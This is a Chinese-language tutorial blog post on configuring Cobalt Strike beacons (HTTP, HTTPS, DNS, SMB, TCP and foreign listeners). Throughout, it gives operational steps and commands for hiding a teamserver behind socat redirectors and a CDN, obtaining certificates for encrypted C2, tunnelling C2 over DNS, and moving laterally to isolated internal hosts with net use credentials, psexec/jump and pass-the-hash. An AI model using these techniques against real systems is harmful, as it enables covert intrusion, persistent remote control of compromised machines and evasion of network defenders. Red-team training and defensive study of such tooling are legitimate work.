在之前的学习中我们了解了关于CobaltStrike beacon运行的流程,以及流量的修改,今天我们一起来学习一下CobaltStrike自带的各种beacon的使用。
http beacon
http beacon 使用get方式去获取服务端下发的任务,同时使用post方式向服务端获取数据。关于使用ip上线我相信大家都已经非常熟悉了,所以我主要讲一下关于域名上线需要注意的问题。
设置域名上线
当我们打开cobaltstrike 4.0时,添加一个http listener,通常界面如下
这里主要注意一下http hosts设置这里,我在参考手册上看到这里可以设置多个地址作为回连的地址,我以为可以同时设置几个服务器ip,当执行后可以同时在这几个服务器上获得beacon,在网上查了很多资料也没有发现关于这里配置的一个解释。最后经过实践发现,这里是可以配置多个域名并且这些域名指向的是我们同一个团队服务器,这样才能正常上线。配置好以后我们使用wireshark看看。
我们可以看到,当执行exe通过stager下载stage时,使用的http host(stager)的地址
心跳包则使用了我们在http hosts中配置的地址
并且这些请求的地址会根据我们在http hosts中的设置自动切换不同的地址
上面我们演示了如何使用多个域名上线的方法,因为我这里的域名加了cludefalre的cdn,配置多个子域名解析到同一个服务器,配置如下
还有一个小坑就是cludefalre针对http协议只允许几个端口,如果使用其他的端口则会导致上线失败
设置重定向
在linux下我们可以使用socat来做重定向,命令如下
1 | socat TCP4-LISTEN:80,fork TCP4:xxx.xxx.xxx.xx:8080 |
通过上面的设置,当我们访问本地的80端口时,实际上会把流量转发到远程主机的8080端口
首先我再远程vps上开启了8888端口
在本地的kali上做了一个重定向,将kali的88端口的流量重定向到远程主机的8888端口
最后,当我们访问本地的88端口实际上访问的是远程地址的8888端口
通过上面的学习我们了解了关于socat做重定向的使用,现在我们再来看看如何在cobaltstrike中使用重定向。
首先我们在自己已有的一个服务器上开启重定向,将来自8080的流量转发到我们的teamserver服务器的8080端口
然后我们再cobaltstrkie中进行配置,这里的配置无论是http hosts 还是 http host(stager)我们都配置为转发的那台服务器的地址或者对应的域名,而不是我们的teamserver的,这里需要注意。
配置好listener以后,我们生成exe执行,使用wireshark进行抓包,我们可以看到,无论是下载stage的请求还是心跳包,请求的都是我们配置的重定向服务器的地址,而不是我们真正的teamserver的地址,这样就可以保护我们的teamserver服务器地址不会泄露。
我们可以在多个服务器上执行转发操作,来保护我们teamserver的安全,只要在http hosts中进行添加即可。
在设置完listener以后,可以通过向重定向服务器的8080端口发起请求,查看cobaltstrike web log的方法测试重定向是否设置成功。
还需要注意的是,我们在设置转发的时候可以通过给远程地址使用域名来进行重定向,但是需要注意的是,如果使用的这个域名是有cdn的,则会转发失败。
实际上可以用来做重定向的方法还有几种,不过这个不是我们今天的重点,以后我会讲关于其他重定向方法的使用。
https beacon
使用https会对传输过程中的通讯流量进行加密传输,其余的设置和http beacon相同。
配置合法证书上线
要配置合法的证书上线,首先我们得拥有一个自己的域名,购买域名后,可以到freessl为我们购买的域名申请证书,选择浏览器生成
点击生成后会下载一个压缩包,并且会到如下界面,需要在自己的域名解析那配置一个解析记录。
配置完成后,点击“配置完成,检测一下”功能进行检测。
检测通过后,点击验证
验证通过后,会来到如下界面
下载以后有两个文件
将这两个文件传到我们服务器cobaltstrike所在的目录下,执行下面的命令
1 | openssl pkcs12 -export -in full_chain.pem -inkey private.key -out www.xxx.com -name www.xxx.com -passout pass:xxxxx |
1 | keytool -importkeystore -deststorepass sectest666 -destkeypass xxxx -destkeystore test666.store -srckeystore www.xxx.com -srcstoretype PKCS12 -srcstorepass sectest666 -alias www.xxx.com |
生成好以后,将证书设置到我们的profile文件中,找到 https-certificate下的内容,将密码和store文件名进行替换,我以msu_edu.profile文件为例,配置如下
将profile文件设置好以后,使用./c2lint msu_edu.profile 进行验证
最后,我们还需要在teamserver这个文件中修改keyStore的文件名和keyStorePassword的值。
开启服务端后,创建一个https beacon,其中https hosts和https host (stager)都配置为我们申请证书的域名
生成一个web drivery(s),这里host需要使用我们申请的域名的地址,否则是上不了线的
生成的链接我们访问一下,可以看到证书是没有问题的
执行powershell后即可上线
因为这里我们使用的是https协议,所以使用wireshark是看不到请求的内容的。
DNS beacon
在一些隔离比较好的网络里,一般http或者https协议可能是不出网的,但是DNS协议是出网的,因此可以使用DNS协议来帮助我们来传输数据。
配置DNS 解析
首先我们需要在DNS上设置一个A记录,将我们申请的一个域名的子域名指向我们的teamserver服务器的ip地址。
之后需要添加一个NS记录,记录名可以写上dns,记录值写入test666.xxx.com
设置好以后,当我们去请求xxx.dns.xxx.com时,首先dns首先会解析到xxx.com,再发现dns.xxx.com是test666.xxx.com来解析,然后就可以找到test666.xxx.com对应的ip地址来进行通信。
然后我们在cobaltstrkie中开启一个dns listener,这里DNS Hosts和DNS Host(stager)都需要配置为dns.xxx.com
开启监听后,我们再使用nslookup进行测试,但是我们看到这个地址是8.8.8.8,这个是因为我们在profile文件中配置的问题,可以在文件中的dns_idle这个参数进行配置,cobaltstrike会通过返回这个地址告诉客户端没有安排任务。
1 | nslookup dns.xxx.com test666.xxx.com |
配置好以后我们首先生成一个executable的shell,这种shell有个特点,之前的文章中我们分析过,就是他会分阶段请求,因此生成的文件stager文件比较小,实际在执行阶段会去下载相对来说比较大的stage文件,我们将生成的shell执行后抓包,可以看到客户端向我们的域名发起解析大量的解析请求。而且在等待了一小段时间后发现还是没有上线,因为要下载的stage文件比较大,大概200多k左右,使用dns解析去获取这个文件会非常慢,这也是为什么很多人测试dns上线以为失败了的原因。
因此,我们在使用DNS上线cobaltstrike的时候就不要使用分阶段执行的方式了,直接生成一个stageless的shell就好了。当使用stageless的shell后,执行后发起的请求非常少,并且也可以马上上线。
可以看到上线以后是一个黑框,这个就是DNS beacon上线后的样子,这个时候如果我们去执行命令会执行失败,这个时候我们需要使用一个checkin命令,让dns beacon回连我们的teamserver,理论上讲设置了checkin以后就会和我们其他隧道上线后的样子一样,但我设置以后还是还是迟迟没有上线,这里是因为数据传输过慢而导致的,我们可以再执行mode dns-txt来加快数据传输的速度,当我们执行完这个命令后再看下数据包
可以看到数据传输加快了,并且我们可以命令也可以正常执行。
这里对DNS beacon做一个小小的总结,首先,生成的shell注意要生成stagless的shell,否则会迟迟上不了线。还有就是上线后需要去执行checkin和mode dns-txt命令,否则基本也执行不了命令。
最后其实关于dns beacon的配置也可以再profile文件中进行配置。
DNS beacon 配合重定向上线
首先我们还是再DNS上进行一些配置,不过这次配置,解析的地址设置的不是我们的teamserver的地址,而是做重定向的那台主机的ip地址。
然后我们用nslookup来进行检查,看是否能正常解析到我们的的重定向主机
测试正常以后,我们再重定向主机上用socat做一个转发,将来自53的流量转发到我们teamserver的53,这里需要注意的是转发需要设置udp而不是ftp。
1 | sudo socat UDP4-LISTEN:53,fork UDP:XXX.XXX.XXX.XXX:53 |
使用cobaltstrike创建一个dns listener,配置和之前一样
配置好以后,我们生成一个stageless的shell,执行后即可上线
SMB beacon
在内网横向渗透时,经常会遇到内网主机无法和我们搭建在外网的teamserver进行通信,这时,可以使用smb beacon来上线内网的断网主机。
首先创建一个smb listener,因为我们在使用smb beacon时实际是使用了命名管道的技术,所以还要去设置管道名,在下方对应的ntsvcs
配置好以后,假如我们现在已经知道了某个内网主机的密码,但是这台内网主机无法通外网,就可以借助smb beacon来上线内网主机。
1 | shell net use \\192.168.3.73\admin$ /user:"dbadmin" "xxxxx" //首先和内网主机建立ipc连接 |
我们在上线的断网机上执行命令,抓包可以看到是边界主机和内网断网主机通过ntsvcs这个命令smb命名管道进行通信的。还要说明的是上线的内网主机默认心跳会一直增加,这个不用管,需要使用的时候去执行就行了。
同样我们也可以在GUI界面上使用pth来上线断网机,
psexec设置的时候,listener设置我们建立的smb beacon的listener。执行结果如下
通过上面的执行过程我们可以看到,cobaltstrike首先伪造了令牌,再通过伪造的令牌执行smb beacon。所以上面那个过程我们完全可以通过命令来执行
1 | rev2self |
smb beacon在运行过程中不是和我们的teamserver服务端直接通信的,而是和它的父beacon进行通信,再把结果显示出来,因此我们不能直接生成stage或者stageless的exe去执行,因为执行后找不到父进程。
TCP beacon
bind tcp beacon
tcp beacon和smb beacon类似,也是在内网中使用的,原理也是利用了边界主机作一个中转,它会再内网主机上开启4444端口,我们通过这个端口来接收内网机器的流量。先来看看如何使用
首先建立一个TCP listener
建立好以后,再和内网主机建立ipc连接,使用jump命令上线内网断网主机
1 | jump psexec 192.168.3.73 test666 ///test666为tcp listener的名字 |
上线后我们使用wireshark看一看流量,我们可以看到内网主机是通过开放4444端口,通过边界机的某个端口和内网的主机通过TCP进行通信,最后再由边界机将流量发送给我们的服务端。
当我们再内网主机上执行命令,可以看到命令是再边界机上和teamserver通信进行传输的。
从下面的图也可以看出连接的关系,边界机和teamserver之间是反向连接的,而边界机和内网主机是正向连接的。
下面是断开和连接内网主机的命令,注意看这里连接不是使用link,而是使用connect
1 | unlink 192.168.3.73 |
对于tcp bind beacon这种形式,我们也可以生成一个stageless的exe,在内网主机上执行,需要注意的是执行后不会直接上线,而是在内网主机上开放一个端口,我们在边界机上使用connect命令去连接目标即可。
listener这里设置我们的tcp listener的名字
生成的shell在目标主机执行后,查看端口会开启4444端口的监听
我们再使用边界机去连接,即可上线
1 | connect 192.168.3.73 |
revserse tcp beacon
上面演示了关于bind tcp beacon的用法,实际上我们使用reverse tcp beacon来上线断网主机。
首先再边界机上创建一个reverse tcp listener
设置的时候需要注意host要写边界机对应的内网的网段,我的测试中192.168.3网段使用的仅主机模式,边界机对应的仅主机模式的地址是192.168.3.144
生成好以后,我们同样先和内网断网机建立ipc连接,建立后使用jump命令来上线
1 | jump psexec 192.168.3.73 test123123 //test123123是刚建立的反向tcp listener的名字 |
我们在断网机上看看,使用这种模式会在边界主机开放一个4444端口,断网机和目标的4444端口来进行通信
从cobaltstrike上也能看到使用的内网主机反向连接了边界主机
当然也可以生成stageless的exe来上线,生成的exe在内网主机执行后会直接上线,不用我们主动去连接它。
foreign beaon
有时候我们会有这样的需求,就是将我们获得的beacon派生给其他的服务端做稳控,或者派生给msf,这就需要使用foreign beaon。
首先我们在另一个CobaltStrike上开启一个HTTP Listener
再回到派生的那台cobaltstrike,这台cobaltstrike上已经有了一个上线的主机。我们给这个cobaltstrike上创建一个foreign beacon。地址选择我们刚刚创建http listener的那台主机
创建好以后,在需要派生的beacon上选择Spawn
在弹出的框中选择我们创建的foreign listener
确定后可以看到另一个cobaltstrike上线了,并且可以看到是使用rundll32的方式执行的。
关于派生给msf的方法类似,就不讲了。
总结
最后我们来总结一下,在cobaltstrike中提供了很多beacon上线的方式,其中http/https/比较适合上线边界主机,当然在网络环境比较差的情况下也可以使用DNS来上线,不过DNS beacon执行命令还可以,但是要上传和下载文件速度会非常慢。在内网横向渗透的时候可以使用SMB beacon和TCP beacon,需要将beacon派生给其他的C2可以使用foreign beaon。
参考文章